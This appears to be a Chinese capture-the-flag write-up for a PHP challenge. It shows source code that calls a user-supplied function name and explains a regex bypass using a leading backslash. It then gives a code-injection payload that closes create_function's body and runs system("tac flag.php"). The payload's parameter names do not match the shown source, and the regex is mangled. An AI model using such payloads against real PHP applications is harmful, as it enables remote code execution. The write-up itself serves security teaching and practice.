PHP-create_function

[题目信息]：

题目名称	题目难度
PHP-create_function	2

[题目考点]：

create_function ( string args , string args , string code )

[Flag格式]:

SangFor{EPHF_1PDGc2r2ysNVOrROmIjoz3-oTpY}

[环境部署]：

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2082

[题目writeup]：

1、实验主页

2、源码分析

 <?php
highlight_file(__FILE__);

if(isset($_POST[‘sxf’])){
$sangfor = $_POST[‘sxf’];
if(!preg_match(’/[1]*$/isD’,$sangfor)) {
$sangfor(’’,$_GET[‘sf’]);
}
}

分析代码逻辑，对sxf进行了一个正则表达式过滤，post传参的sxf和get传参的sf进行了组合，这里我们可以使用create_function()代码注入

string create_function ( string args , string args , string code )

string $args 变量部分
string $code 方法代码部分

而正则表达式我们可以用\进行绕过，正好\在php里代表默认命名空间

php里默认命名空间是\，所有原生函数和类都在这个命名空间中。 普通调用一个函数，如果直接写函数名function_name()调用，调用的时候其实相当于写了一个相对路径； 而如果是\function_name()这样的形式去调用函数，则是表示写了一个绝对路径。 如果在其他namespace里调用系统类，必须使用绝对路径的写法

构造payload

?show=echo 123;}system("tac flag.php");//

post:
ctf=\create_function

---

1. a-z0-9_ ↩︎